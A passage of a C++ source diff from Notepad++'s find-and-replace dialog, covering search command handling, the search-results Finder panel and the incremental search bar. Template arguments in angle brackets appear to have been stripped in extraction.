NppParameters::getInstance(); + switch(intValue) + { + case IDOK: + nppParamInst->_isFindReplacing = true; + processFindNext(_env->_str2Search.c_str()); + nppParamInst->_isFindReplacing = false; + break; + case IDREPLACE: + nppParamInst->_isFindReplacing = true; + processReplace(_env->_str2Search.c_str(), _env->_str4Replace.c_str(), _env); + nppParamInst->_isFindReplacing = false; + break; + case IDC_FINDALL_OPENEDFILES: + nppParamInst->_isFindReplacing = true; + findAllIn(ALL_OPEN_DOCS); + nppParamInst->_isFindReplacing = false; + break; + case IDC_FINDALL_CURRENTFILE: + nppParamInst->_isFindReplacing = true; + findAllIn(FILES_IN_DIR); + nppParamInst->_isFindReplacing = false; + break; + case IDC_REPLACE_OPENEDFILES : + nppParamInst->_isFindReplacing = true; + replaceAllInOpenedDocs(); + nppParamInst->_isFindReplacing = false; + break; + case IDD_FINDINFILES_FIND_BUTTON : + nppParamInst->_isFindReplacing = true; + findAllIn(FILES_IN_DIR); + nppParamInst->_isFindReplacing = false; + break; + + case IDD_FINDINFILES_REPLACEINFILES : + { + generic_string msg = TEXT("Are you sure you want to replace all occurrences in :\r"); + msg += _env->_directory; + msg += TEXT("\rfor file type : "); + msg += (_env->_filters[0])?_env->_filters:TEXT("*.*"); + + if (::MessageBox(_hParent, msg.c_str(), TEXT("Are you sure?"), MB_OKCANCEL|MB_DEFBUTTON2) == IDOK) + { + nppParamInst->_isFindReplacing = true; + ::SendMessage(_hParent, WM_REPLACEINFILES, 0, 0); + nppParamInst->_isFindReplacing = false; + } + break; + } + case IDREPLACEALL : + { + nppParamInst->_isFindReplacing = true; + (*_ppEditView)->execute(SCI_BEGINUNDOACTION); + int nbReplaced = processAll(ProcessReplaceAll, _env); + (*_ppEditView)->execute(SCI_ENDUNDOACTION); + nppParamInst->_isFindReplacing = false; + + generic_string result; + + if (nbReplaced < 0) + result = TEXT("Replace All: The regular expression is malformed."); + else + { + TCHAR moreInfo[64]; + if (nbReplaced == 1) + wsprintf(moreInfo, TEXT("Replace All: %d occurrence was replaced."), nbReplaced); + else + wsprintf(moreInfo, TEXT("Replace All: %s occurrences were replaced."), commafyInt(nbReplaced).c_str()); + result = moreInfo; + } + + setStatusbarMessage(result, FSMessage); + break; + } + case IDCCOUNTALL : + { + int nbCounted = processAll(ProcessCountAll, _env); + generic_string result; + + if (nbCounted < 0) + result = TEXT("Count: The regular expression to search is malformed."); + else + { + TCHAR moreInfo[128]; + if (nbCounted == 1) + wsprintf(moreInfo, TEXT("Count: %d match."), nbCounted); + else + wsprintf(moreInfo, TEXT("Count: %s matches."), commafyInt(nbCounted).c_str()); + result = moreInfo; + } + setStatusbarMessage(result, FSMessage); + break; + } + case IDCMARKALL: + { + nppParamInst->_isFindReplacing = true; + int nbMarked = processAll(ProcessMarkAll, _env); + nppParamInst->_isFindReplacing = false; + generic_string result; + + if (nbMarked < 0) + { + result = TEXT("Mark: The regular expression to search is malformed."); + } + else + { + TCHAR moreInfo[128]; + if (nbMarked <= 1) + wsprintf(moreInfo, TEXT("%d match."), nbMarked); + else + wsprintf(moreInfo, TEXT("%s matches."), commafyInt(nbMarked).c_str()); + result = moreInfo; + } + + setStatusbarMessage(result, FSMessage); + break; + } + default: + throw std::runtime_error("Internal error: unknown saved command!"); + } + delete _env; + _env = &_options; + break; + } + default: + throw std::runtime_error("Internal error: unknown SnR command!"); + } +} + +void FindReplaceDlg::setFindInFilesDirFilter(const TCHAR *dir, const TCHAR *filters) +{ + if (dir) + { + _options._directory = dir; + ::SetDlgItemText(_hSelf, IDD_FINDINFILES_DIR_COMBO, dir); + } + if (filters) + { + _options._filters = filters; + ::SetDlgItemText(_hSelf, IDD_FINDINFILES_FILTERS_COMBO, filters); + } +} + +void FindReplaceDlg::initOptionsFromDlg() +{ + _options._isWholeWord = isCheckedOrNot(IDWHOLEWORD); + _options._isMatchCase = isCheckedOrNot(IDMATCHCASE); + _options._searchType = isCheckedOrNot(IDREGEXP)?FindRegex:isCheckedOrNot(IDEXTENDED)?FindExtended:FindNormal; + _options._isWrapAround = isCheckedOrNot(IDWRAP); + _options._isInSelection = isCheckedOrNot(IDC_IN_SELECTION_CHECK); + + _options._dotMatchesNewline = isCheckedOrNot(IDREDOTMATCHNL); + _options._doPurge = isCheckedOrNot(IDC_PURGE_CHECK); + _options._doMarkLine = isCheckedOrNot(IDC_MARKLINE_CHECK); + + _options._whichDirection = isCheckedOrNot(IDC_BACKWARDDIRECTION) ? DIR_UP : DIR_DOWN; + + _options._isRecursive = isCheckedOrNot(IDD_FINDINFILES_RECURSIVE_CHECK); + _options._isInHiddenDir = isCheckedOrNot(IDD_FINDINFILES_INHIDDENDIR_CHECK); +} + +void FindInFinderDlg::doDialog(Finder *launcher, bool isRTL) +{ + _pFinder2Search = launcher; + if (isRTL) + { + DLGTEMPLATE *pMyDlgTemplate = NULL; + HGLOBAL hMyDlgTemplate = makeRTLResource(IDD_FINDINFINDER_DLG, &pMyDlgTemplate); + ::DialogBoxIndirectParam(_hInst, pMyDlgTemplate, _hParent, dlgProc, reinterpret_cast(this)); + ::GlobalFree(hMyDlgTemplate); + } + else + ::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_FINDINFINDER_DLG), _hParent, dlgProc, reinterpret_cast(this)); + +} + +void FindReplaceDlg::doDialog(DIALOG_TYPE whichType, bool isRTL, bool toShow) +{ + if (!isCreated()) + { + _isRTL = isRTL; + create(IDD_FIND_REPLACE_DLG, isRTL); + } + + if (whichType == FINDINFILES_DLG) + enableFindInFilesFunc(); + else if (whichType == MARK_DLG) + enableMarkFunc(); + else + enableReplaceFunc(whichType == REPLACE_DLG); + + ::SetFocus(::GetDlgItem(_hSelf, IDFINDWHAT)); + display(toShow); +} + +LRESULT FAR PASCAL FindReplaceDlg::finderProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + if (message == WM_KEYDOWN && (wParam == VK_DELETE || wParam == VK_RETURN)) + { + ScintillaEditView *pScint = (ScintillaEditView *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)); + Finder *pFinder = (Finder *)(::GetWindowLongPtr(pScint->getHParent(), GWLP_USERDATA)); + if (wParam == VK_RETURN) + pFinder->gotoFoundLine(); + else // VK_DELETE + pFinder->deleteResult(); + return 0; + } + else + // Call default (original) window procedure + return CallWindowProc((WNDPROC) originalFinderProc, hwnd, message, wParam, lParam); +} + +void FindReplaceDlg::enableFindInFilesFunc() +{ + enableFindInFilesControls(); + _currentStatus = FINDINFILES_DLG; + gotoCorrectTab(); + ::MoveWindow(::GetDlgItem(_hSelf, IDCANCEL), _findInFilesClosePos.left + _deltaWidth, _findInFilesClosePos.top, _findInFilesClosePos.right, _findInFilesClosePos.bottom, TRUE); + TCHAR label[MAX_PATH]; + _tab.getCurrentTitle(label, MAX_PATH); + ::SetWindowText(_hSelf, label); + setDefaultButton(IDD_FINDINFILES_FIND_BUTTON); +} + +void FindReplaceDlg::enableMarkFunc() +{ + enableFindInFilesControls(false); + enableMarkAllControls(true); + + // Replace controls to hide + ::ShowWindow(::GetDlgItem(_hSelf, ID_STATICTEXT_REPLACE),SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACE),SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACEWITH),SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACEALL),SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACEINSEL),SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_REPLACE_OPENEDFILES),SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_REPLACEINSELECTION),SW_HIDE); + + // find controls to hide + ::ShowWindow(::GetDlgItem(_hSelf, IDC_FINDALL_OPENEDFILES), SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDCCOUNTALL),SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_FINDALL_CURRENTFILE),SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDOK),SW_HIDE); + + _currentStatus = MARK_DLG; + gotoCorrectTab(); + ::MoveWindow(::GetDlgItem(_hSelf, IDCANCEL), _findInFilesClosePos.left + _deltaWidth, _findInFilesClosePos.top, _findInFilesClosePos.right, _findInFilesClosePos.bottom, TRUE); + TCHAR label[MAX_PATH]; + _tab.getCurrentTitle(label, MAX_PATH); + ::SetWindowText(_hSelf, label); + setDefaultButton(IDCMARKALL); +} +void FindReplaceDlg::combo2ExtendedMode(int comboID) +{ + HWND hFindCombo = ::GetDlgItem(_hSelf, comboID); + if (!hFindCombo) return; + + generic_string str2transform = getTextFromCombo(hFindCombo); + + // Count the number of character '\n' and '\r' + size_t nbEOL = 0; + size_t str2transformLen = lstrlen(str2transform.c_str()); + for (size_t i = 0 ; i < str2transformLen ; ++i) + { + if (str2transform[i] == '\r' || str2transform[i] == '\n') + ++nbEOL; + } + + if (nbEOL) + { + TCHAR * newBuffer = new TCHAR[str2transformLen + nbEOL*2 + 1]; + int j = 0; + for (size_t i = 0 ; i < str2transformLen ; ++i) + { + if (str2transform[i] == '\r') + { + newBuffer[j++] = '\\'; + newBuffer[j++] = 'r'; + } + else if (str2transform[i] == '\n') + { + newBuffer[j++] = '\\'; + newBuffer[j++] = 'n'; + } + else + { + newBuffer[j++] = str2transform[i]; + } + } + newBuffer[j++] = '\0'; + setSearchText(newBuffer); + + _options._searchType = FindExtended; + ::SendDlgItemMessage(_hSelf, IDNORMAL, BM_SETCHECK, FALSE, 0); + ::SendDlgItemMessage(_hSelf, IDEXTENDED, BM_SETCHECK, TRUE, 0); + ::SendDlgItemMessage(_hSelf, IDREGEXP, BM_SETCHECK, FALSE, 0); + + delete [] newBuffer; + } +} + +void FindReplaceDlg::drawItem(LPDRAWITEMSTRUCT lpDrawItemStruct) +{ + //printStr(TEXT("OK")); + COLORREF fgColor = RGB(0, 0, 0); // black by default + PTSTR ptStr =(PTSTR)lpDrawItemStruct->itemData; + + if (_statusbarFindStatus == FSNotFound) + { + fgColor = RGB(0xFF, 00, 00); // red + } + else if (_statusbarFindStatus == FSMessage) + { + fgColor = RGB(0, 0, 0xFF); // blue + } + else if (_statusbarFindStatus == FSTopReached || _statusbarFindStatus == FSEndReached) + { + fgColor = RGB(0, 166, 0); // green + } + else if (_statusbarFindStatus == FSNoMessage) + { + ptStr = TEXT(""); + } + + SetTextColor(lpDrawItemStruct->hDC, fgColor); + COLORREF bgColor = getCtrlBgColor(_statusBar.getHSelf()); + ::SetBkColor(lpDrawItemStruct->hDC, bgColor); + RECT rect; + _statusBar.getClientRect(rect); + ::DrawText(lpDrawItemStruct->hDC, ptStr, lstrlen(ptStr), &rect, DT_SINGLELINE | DT_VCENTER | DT_LEFT); +} + +void Finder::addSearchLine(const TCHAR *searchName) +{ + generic_string str = TEXT("Search \""); + str += searchName; + str += TEXT("\"\r\n"); + + setFinderReadOnly(false); + _scintView.addGenericText(str.c_str()); + setFinderReadOnly(true); + _lastSearchHeaderPos = static_cast(_scintView.execute(SCI_GETCURRENTPOS) - 2); + + _pMainFoundInfos->push_back(EmptyFoundInfo); + _pMainMarkings->push_back(EmptySearchResultMarking); +} + +void Finder::addFileNameTitle(const TCHAR * fileName) +{ + generic_string str = TEXT(" "); + str += fileName; + str += TEXT("\r\n"); + + setFinderReadOnly(false); + _scintView.addGenericText(str.c_str()); + setFinderReadOnly(true); + _lastFileHeaderPos = static_cast(_scintView.execute(SCI_GETCURRENTPOS) - 2); + + _pMainFoundInfos->push_back(EmptyFoundInfo); + _pMainMarkings->push_back(EmptySearchResultMarking); +} + +void Finder::addFileHitCount(int count) +{ + TCHAR text[20]; + if(count == 1) + wsprintf(text, TEXT(" (1 hit)")); + else + wsprintf(text, TEXT(" (%i hits)"), count); + setFinderReadOnly(false); + _scintView.insertGenericTextFrom(_lastFileHeaderPos, text); + setFinderReadOnly(true); + ++_nbFoundFiles; +} + +void Finder::addSearchHitCount(int count, bool isMatchLines) +{ + TCHAR *moreInfo = isMatchLines ? TEXT(" - Line Filter Mode: only display the filtered results") :TEXT(""); + TCHAR text[100]; + if(count == 1 && _nbFoundFiles == 1) + wsprintf(text, TEXT(" (1 hit in 1 file%s)"), moreInfo); + else if(count == 1 && _nbFoundFiles != 1) + wsprintf(text, TEXT(" (1 hit in %i files%s)"), _nbFoundFiles, moreInfo); + else if(count != 1 && _nbFoundFiles == 1) + wsprintf(text, TEXT(" (%i hits in 1 file%s)"), count, moreInfo); + else if(count != 1 && _nbFoundFiles != 1) + wsprintf(text, TEXT(" (%i hits in %i files%s)"), count, _nbFoundFiles, moreInfo); + setFinderReadOnly(false); + _scintView.insertGenericTextFrom(_lastSearchHeaderPos, text); + setFinderReadOnly(true); +} + + +void Finder::add(FoundInfo fi, SearchResultMarking mi, const TCHAR* foundline) +{ + _pMainFoundInfos->push_back(fi); + generic_string str = TEXT("\tLine "); + + TCHAR lnb[16]; + wsprintf(lnb, TEXT("%d"), fi._lineNumber); + str += lnb; + str += TEXT(": "); + mi._start += static_cast(str.length()); + mi._end += static_cast(str.length()); + str += foundline; + + if (str.length() >= SC_SEARCHRESULT_LINEBUFFERMAXLENGTH) + { + const TCHAR * endOfLongLine = TEXT("...\r\n"); + str = str.substr(0, SC_SEARCHRESULT_LINEBUFFERMAXLENGTH - lstrlen(endOfLongLine) - 1); + str += endOfLongLine; + } + setFinderReadOnly(false); + _scintView.addGenericText(str.c_str(), &mi._start, &mi._end); + setFinderReadOnly(true); + _pMainMarkings->push_back(mi); +} + +void Finder::removeAll() +{ + _pMainFoundInfos->clear(); + _pMainMarkings->clear(); + setFinderReadOnly(false); + _scintView.execute(SCI_CLEARALL); + setFinderReadOnly(true); +} + +void Finder::openAll() +{ + size_t sz = _pMainFoundInfos->size(); + + for (size_t i = 0; i < sz; ++i) + { + ::SendMessage(::GetParent(_hParent), WM_DOOPEN, 0, reinterpret_cast(_pMainFoundInfos->at(i)._fullPath.c_str())); + } +} + +bool Finder::isLineActualSearchResult(const generic_string & s) const +{ + const auto firstColon = s.find(TEXT("\tLine ")); + return (firstColon == 0); +} + +generic_string & Finder::prepareStringForClipboard(generic_string & s) const +{ + // Input: a string like "\tLine 3: search result". + // Output: "search result" + s = stringReplace(s, TEXT("\r"), TEXT("")); + s = stringReplace(s, TEXT("\n"), TEXT("")); + const auto firstColon = s.find(TEXT(':')); + if (firstColon == std::string::npos) + { + // Should never happen. + assert(false); + return s; + } + else + { + // Plus 2 in order to deal with ": ". + s = s.substr(2 + firstColon); + return s; + } +} + +void Finder::copy() +{ + size_t fromLine, toLine; + { + const auto selStart = _scintView.execute(SCI_GETSELECTIONSTART); + const auto selEnd = _scintView.execute(SCI_GETSELECTIONEND); + const bool hasSelection = selStart != selEnd; + const pair lineRange = _scintView.getSelectionLinesRange(); + if (hasSelection && lineRange.first != lineRange.second) + { + fromLine = lineRange.first; + toLine = lineRange.second; + } + else + { + // Abuse fold levels to find out which lines to copy to clipboard. + // We get the current line and then the next line which has a smaller fold level (SCI_GETLASTCHILD). + // Then we loop all lines between them and determine which actually contain search results. + fromLine = _scintView.getCurrentLineNumber(); + const int selectedLineFoldLevel = _scintView.execute(SCI_GETFOLDLEVEL, fromLine) & SC_FOLDLEVELNUMBERMASK; + toLine = _scintView.execute(SCI_GETLASTCHILD, fromLine, selectedLineFoldLevel); + } + } + + std::vector lines; + for (size_t line = fromLine; line <= toLine; ++line) + { + generic_string lineStr = _scintView.getLine(line); + if (isLineActualSearchResult(lineStr)) + { + lines.push_back(prepareStringForClipboard(lineStr)); + } + } + const generic_string toClipboard = stringJoin(lines, TEXT("\r\n")); + if (!toClipboard.empty()) + { + if (!str2Clipboard(toClipboard, _hSelf)) + { + assert(false); + ::MessageBox(NULL, TEXT("Error placing text in clipboard."), TEXT("Notepad++"), MB_ICONINFORMATION); + } + } +} + +void Finder::beginNewFilesSearch() +{ + //_scintView.execute(SCI_SETLEXER, SCLEX_NULL); + + _scintView.execute(SCI_SETCURRENTPOS, 0); + _pMainFoundInfos = _pMainFoundInfos == &_foundInfos1 ? &_foundInfos2 : &_foundInfos1; + _pMainMarkings = _pMainMarkings == &_markings1 ? &_markings2 : &_markings1; + _nbFoundFiles = 0; + + // fold all old searches (1st level only) + _scintView.collapse(searchHeaderLevel - SC_FOLDLEVELBASE, fold_collapse); +} + +void Finder::finishFilesSearch(int count, bool isMatchLines) +{ + std::vector* _pOldFoundInfos; + std::vector* _pOldMarkings; + _pOldFoundInfos = _pMainFoundInfos == &_foundInfos1 ? &_foundInfos2 : &_foundInfos1; + _pOldMarkings = _pMainMarkings == &_markings1 ? &_markings2 : &_markings1; + + _pOldFoundInfos->insert(_pOldFoundInfos->begin(), _pMainFoundInfos->begin(), _pMainFoundInfos->end()); + _pOldMarkings->insert(_pOldMarkings->begin(), _pMainMarkings->begin(), _pMainMarkings->end()); + _pMainFoundInfos->clear(); + _pMainMarkings->clear(); + _pMainFoundInfos = _pOldFoundInfos; + _pMainMarkings = _pOldMarkings; + + _markingsStruct._length = static_cast(_pMainMarkings->size()); + if (_pMainMarkings->size() > 0) + _markingsStruct._markings = &((*_pMainMarkings)[0]); + + addSearchHitCount(count, isMatchLines); + _scintView.execute(SCI_SETSEL, 0, 0); + + _scintView.execute(SCI_SETLEXER, SCLEX_SEARCHRESULT); + _scintView.execute(SCI_SETPROPERTY, reinterpret_cast("fold"), reinterpret_cast("1")); +} + + +void Finder::setFinderStyle() +{ + // Set global styles for the finder + _scintView.performGlobalStyles(); + + // Set current line background color for the finder + const TCHAR * lexerName = ScintillaEditView::langNames[L_SEARCHRESULT].lexerName; + LexerStyler *pStyler = (_scintView._pParameter->getLStylerArray()).getLexerStylerByName(lexerName); + if (pStyler) + { + int i = pStyler->getStylerIndexByID(SCE_SEARCHRESULT_CURRENT_LINE); + if (i != -1) + { + Style & style = pStyler->getStyler(i); + _scintView.execute(SCI_SETCARETLINEBACK, style._bgColor); + } + } + _scintView.setSearchResultLexer(); + + // Override foreground & background colour by default foreground & background coulour + StyleArray & stylers = _scintView._pParameter->getMiscStylerArray(); + int iStyleDefault = stylers.getStylerIndexByID(STYLE_DEFAULT); + if (iStyleDefault != -1) + { + Style & styleDefault = stylers.getStyler(iStyleDefault); + _scintView.setStyle(styleDefault); + + GlobalOverride & go = _scintView._pParameter->getGlobalOverrideStyle(); + if (go.isEnable()) + { + int iGlobalOverride = stylers.getStylerIndexByName(TEXT("Global override")); + if (iGlobalOverride != -1) + { + Style & styleGlobalOverride = stylers.getStyler(iGlobalOverride); + if (go.enableFg) + { + styleDefault._fgColor = styleGlobalOverride._fgColor; + } + if (go.enableBg) + { + styleDefault._bgColor = styleGlobalOverride._bgColor; + } + } + } + + _scintView.execute(SCI_STYLESETFORE, SCE_SEARCHRESULT_DEFAULT, styleDefault._fgColor); + _scintView.execute(SCI_STYLESETBACK, SCE_SEARCHRESULT_DEFAULT, styleDefault._bgColor); + } + + _scintView.execute(SCI_COLOURISE, 0, -1); +} + +INT_PTR CALLBACK Finder::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_COMMAND : + { + switch (wParam) + { + case NPPM_INTERNAL_FINDINFINDERDLG: + { + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_FINDINFINDERDLG, reinterpret_cast(this), 0); + return TRUE; + } + + case NPPM_INTERNAL_REMOVEFINDER: + { + if (_canBeVolatiled) + { + ::SendMessage(::GetParent(_hParent), NPPM_DMMHIDE, 0, reinterpret_cast(_hSelf)); + setClosed(true); + } + return TRUE; + } + + case NPPM_INTERNAL_SCINTILLAFINFERCOLLAPSE : + { + _scintView.foldAll(fold_collapse); + return TRUE; + } + + case NPPM_INTERNAL_SCINTILLAFINFERUNCOLLAPSE : + { + _scintView.foldAll(fold_uncollapse); + return TRUE; + } + + case NPPM_INTERNAL_SCINTILLAFINFERCOPY : + { + copy(); + return TRUE; + } + + case NPPM_INTERNAL_SCINTILLAFINFERSELECTALL : + { + _scintView.execute(SCI_SELECTALL); + return TRUE; + } + + case NPPM_INTERNAL_SCINTILLAFINFERCLEARALL: + { + removeAll(); + return TRUE; + } + + case NPPM_INTERNAL_SCINTILLAFINFEROPENALL: + { + openAll(); + return TRUE; + } + + default : + { + return FALSE; + } + } + } + + case WM_CONTEXTMENU : + { + if (HWND(wParam) == _scintView.getHSelf()) + { + POINT p; + ::GetCursorPos(&p); + ContextMenu scintillaContextmenu; + vector tmp; + tmp.push_back(MenuItemUnit(NPPM_INTERNAL_FINDINFINDERDLG, TEXT("Find in this finder..."))); + if (_canBeVolatiled) + tmp.push_back(MenuItemUnit(NPPM_INTERNAL_REMOVEFINDER, TEXT("Close this finder"))); + tmp.push_back(MenuItemUnit(0, TEXT("Separator"))); + tmp.push_back(MenuItemUnit(NPPM_INTERNAL_SCINTILLAFINFERCOLLAPSE, TEXT("Collapse all"))); + tmp.push_back(MenuItemUnit(NPPM_INTERNAL_SCINTILLAFINFERUNCOLLAPSE, TEXT("Uncollapse all"))); + tmp.push_back(MenuItemUnit(0, TEXT("Separator"))); + tmp.push_back(MenuItemUnit(NPPM_INTERNAL_SCINTILLAFINFERCOPY, TEXT("Copy"))); + tmp.push_back(MenuItemUnit(NPPM_INTERNAL_SCINTILLAFINFERSELECTALL, TEXT("Select all"))); + tmp.push_back(MenuItemUnit(NPPM_INTERNAL_SCINTILLAFINFERCLEARALL, TEXT("Clear all"))); + tmp.push_back(MenuItemUnit(0, TEXT("Separator"))); + tmp.push_back(MenuItemUnit(NPPM_INTERNAL_SCINTILLAFINFEROPENALL, TEXT("Open all"))); + + scintillaContextmenu.create(_hSelf, tmp); + + scintillaContextmenu.display(p); + return TRUE; + } + return ::DefWindowProc(_hSelf, message, wParam, lParam); + } + + case WM_SIZE : + { + RECT rc; + getClientRect(rc); + _scintView.reSizeTo(rc); + break; + } + + case WM_NOTIFY: + { + notify(reinterpret_cast(lParam)); + return FALSE; + } + default : + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); + } + return FALSE; +} + +void FindIncrementDlg::init(HINSTANCE hInst, HWND hPere, FindReplaceDlg *pFRDlg, bool isRTL) +{ + Window::init(hInst, hPere); + if (!pFRDlg) + throw std::runtime_error("FindIncrementDlg::init : Parameter pFRDlg is null"); + + _pFRDlg = pFRDlg; + create(IDD_INCREMENT_FIND, isRTL); + _isRTL = isRTL; +} + +void FindIncrementDlg::destroy() +{ + if (_pRebar) + { + _pRebar->removeBand(_rbBand.wID); + _pRebar = NULL; + } +} + +void FindIncrementDlg::display(bool toShow) const +{ + if (!_pRebar) + { + Window::display(toShow); + return; + } + if (toShow) + { + ::SetFocus(::GetDlgItem(_hSelf, IDC_INCFINDTEXT)); + // select the whole find editor text + ::SendDlgItemMessage(_hSelf, IDC_INCFINDTEXT, EM_SETSEL, 0, -1); + } + _pRebar->setIDVisible(_rbBand.wID, toShow); +} + +INT_PTR CALLBACK FindIncrementDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + // Make edit field red if not found + case WM_CTLCOLOREDIT : + { + // if the text not found modify the background color of the editor + static HBRUSH hBrushBackground = CreateSolidBrush(BCKGRD_COLOR); + if (FSNotFound != getFindStatus()) + return FALSE; // text found, use the default color + + // text not found + SetTextColor((HDC)wParam, TXT_COLOR); + SetBkColor((HDC)wParam, BCKGRD_COLOR); + return (LRESULT)hBrushBackground; + } + + case WM_COMMAND : + { + bool updateSearch = false; + bool forward = true; + bool advance = false; + bool updateHiLight = false; + bool updateCase = false; + + switch (LOWORD(wParam)) + { + case IDCANCEL : + (*(_pFRDlg->_ppEditView))->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_INC); + (*(_pFRDlg->_ppEditView))->getFocus(); + ::SendDlgItemMessage(_hSelf, IDC_INCFINDHILITEALL, BM_SETCHECK, BST_UNCHECKED, 0); + display(false); + return TRUE; + + case IDM_SEARCH_FINDINCREMENT: // Accel table: Start incremental search + // if focus is on a some other control, return it to the edit field + if (::GetFocus() != ::GetDlgItem(_hSelf, IDC_INCFINDTEXT)) + { + HWND hFindTxt = ::GetDlgItem(_hSelf, IDC_INCFINDTEXT); + ::PostMessage(_hSelf, WM_NEXTDLGCTL, reinterpret_cast(hFindTxt), TRUE); + return TRUE; + } + // otherwise, repeat the search + case IDM_SEARCH_FINDPREV: // Accel table: find prev + case IDM_SEARCH_FINDNEXT: // Accel table: find next + case IDC_INCFINDPREVOK: + case IDC_INCFINDNXTOK: + case IDOK: + updateSearch = true; + advance = true; + forward = (LOWORD(wParam) == IDC_INCFINDNXTOK) || + (LOWORD(wParam) == IDM_SEARCH_FINDNEXT) || + (LOWORD(wParam) == IDM_SEARCH_FINDINCREMENT) || + ((LOWORD(wParam) == IDOK) && !(GetKeyState(VK_SHIFT) & SHIFTED)); + break; + + case IDC_INCFINDMATCHCASE: + updateSearch = true; + updateCase = true; + updateHiLight = true; + break; + + case IDC_INCFINDHILITEALL: + updateHiLight = true; + break; + + case IDC_INCFINDTEXT: + if (HIWORD(wParam) == EN_CHANGE) + { + updateSearch = true; + updateHiLight = isCheckedOrNot(IDC_INCFINDHILITEALL); + updateCase = isCheckedOrNot(IDC_INCFINDMATCHCASE); + break; + } + // treat other edit notifications as unhandled + default: + return DefWindowProc(getHSelf(), message, wParam, lParam); + } + FindOption fo; + fo._isWholeWord = false; + fo._incrementalType = advance ? NextIncremental : FirstIncremental; + fo._whichDirection = forward ? DIR_DOWN : DIR_UP; + fo._isMatchCase = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_INCFINDMATCHCASE, BM_GETCHECK, 0, 0)); + + generic_string str2Search = getTextFromCombo(::GetDlgItem(_hSelf, IDC_INCFINDTEXT)); + if (updateSearch) + { + FindStatus findStatus = FSFound; + bool isFound = _pFRDlg->processFindNext(str2Search.c_str(), &fo, &findStatus); + + fo._str2Search = str2Search; + int nbCounted = _pFRDlg->processAll(ProcessCountAll, &fo); + setFindStatus(findStatus, nbCounted); + + // If case-sensitivity changed (to Match=yes), there may have been a matched selection that + // now does not match; so if Not Found, clear selection and put caret at beginning of what was + // selected (no change, if there was no selection) + if (updateCase && !isFound) + { + CharacterRange range = (*(_pFRDlg->_ppEditView))->getSelection(); + (*(_pFRDlg->_ppEditView))->execute(SCI_SETSEL, static_cast(-1), range.cpMin); + } + } + + if (updateHiLight) + { + bool highlight = !str2Search.empty() && + (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_INCFINDHILITEALL, BM_GETCHECK, 0, 0)); + markSelectedTextInc(highlight, &fo); + } + return TRUE; + } + + case WM_ERASEBKGND: + { + HWND hParent = ::GetParent(_hSelf); + HDC winDC = (HDC)wParam; + //RTL handling + POINT pt = {0, 0}, ptOrig = {0, 0}; + ::MapWindowPoints(_hSelf, hParent, &pt, 1); + ::OffsetWindowOrgEx((HDC)wParam, pt.x, pt.y, &ptOrig); + LRESULT lResult = SendMessage(hParent, WM_ERASEBKGND, reinterpret_cast(winDC), 0); + ::SetWindowOrgEx(winDC, ptOrig.x, ptOrig.y, NULL); + return (BOOL)lResult; + } + } + return DefWindowProc(getHSelf(), message, wParam, lParam); +} + +void FindIncrementDlg::markSelectedTextInc(bool enable, FindOption *opt) +{ + (*(_pFRDlg->_ppEditView))->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_INC); + + if (!enable) + return; + + //Get selection + CharacterRange range = (*(_pFRDlg->_ppEditView))->getSelection(); + + //If nothing selected, dont mark anything + if (range.cpMin == range.cpMax) + return; + + TCHAR text2Find[FINDREPLACE_MAXLENGTH]; + (*(_pFRDlg->_ppEditView))->getGenericSelectedText(text2Find, FINDREPLACE_MAXLENGTH, false); //do not expand selection (false) + opt->_str2Search = text2Find; + _pFRDlg->markAllInc(opt); +} + +void FindIncrementDlg::setFindStatus(FindStatus iStatus, int nbCounted) +{ + static TCHAR findCount[128] = TEXT(""); + static TCHAR *findStatus[] = { findCount, // FSFound + TEXT("Phrase not found"), //FSNotFound + TEXT("Reached top of page, continued from bottom"), // FSTopReached + TEXT("Reached end of page, continued from top")}; // FSEndReached + if (nbCounted <= 0) + findCount[0] = '\0'; + else if (nbCounted == 1) + wsprintf(findCount, TEXT("%d match."), nbCounted); + else + wsprintf(findCount, TEXT("%s matches."), commafyInt(nbCounted).c_str()); + + if (iStatus<0 || iStatus >= sizeof(findStatus)/sizeof(findStatus[0])) + return; // out of range + + _findStatus = iStatus; + + // get the HWND of the editor + HWND hEditor = ::GetDlgItem(_hSelf, IDC_INCFINDTEXT); + + // invalidate the editor rect + ::InvalidateRect(hEditor, NULL, TRUE); + ::SendDlgItemMessage(_hSelf, IDC_INCFINDSTATUS, WM_SETTEXT, 0, reinterpret_cast(findStatus[iStatus])); +} + +void FindIncrementDlg::addToRebar(ReBar * rebar) +{ + if(_pRebar) + return; + + _pRebar = rebar; + RECT client; + getClientRect(client); + + ZeroMemory(&_rbBand, REBARBAND_SIZE); + _rbBand.cbSize = REBARBAND_SIZE; + + _rbBand.fMask = RBBIM_STYLE | RBBIM_CHILD | RBBIM_CHILDSIZE | + RBBIM_SIZE | RBBIM_ID; + + _rbBand.fStyle = RBBS_HIDDEN | RBBS_NOGRIPPER; + _rbBand.hwndChild = getHSelf(); + _rbBand.wID = REBAR_BAR_SEARCH; //ID REBAR_BAR_SEARCH for search dialog + _rbBand.cxMinChild = 0; + _rbBand.cyIntegral = 1; + _rbBand.cyMinChild = _rbBand.cyMaxChild = client.bottom-client.top; + _rbBand.cxIdeal = _rbBand.cx = client.right-client.left; + + _pRebar->addBand(&_rbBand, true); + _pRebar->setGrayBackground(_rbBand.wID); +} + +const TCHAR Progress::cClassName[] = TEXT("NppProgressClass"); +const TCHAR 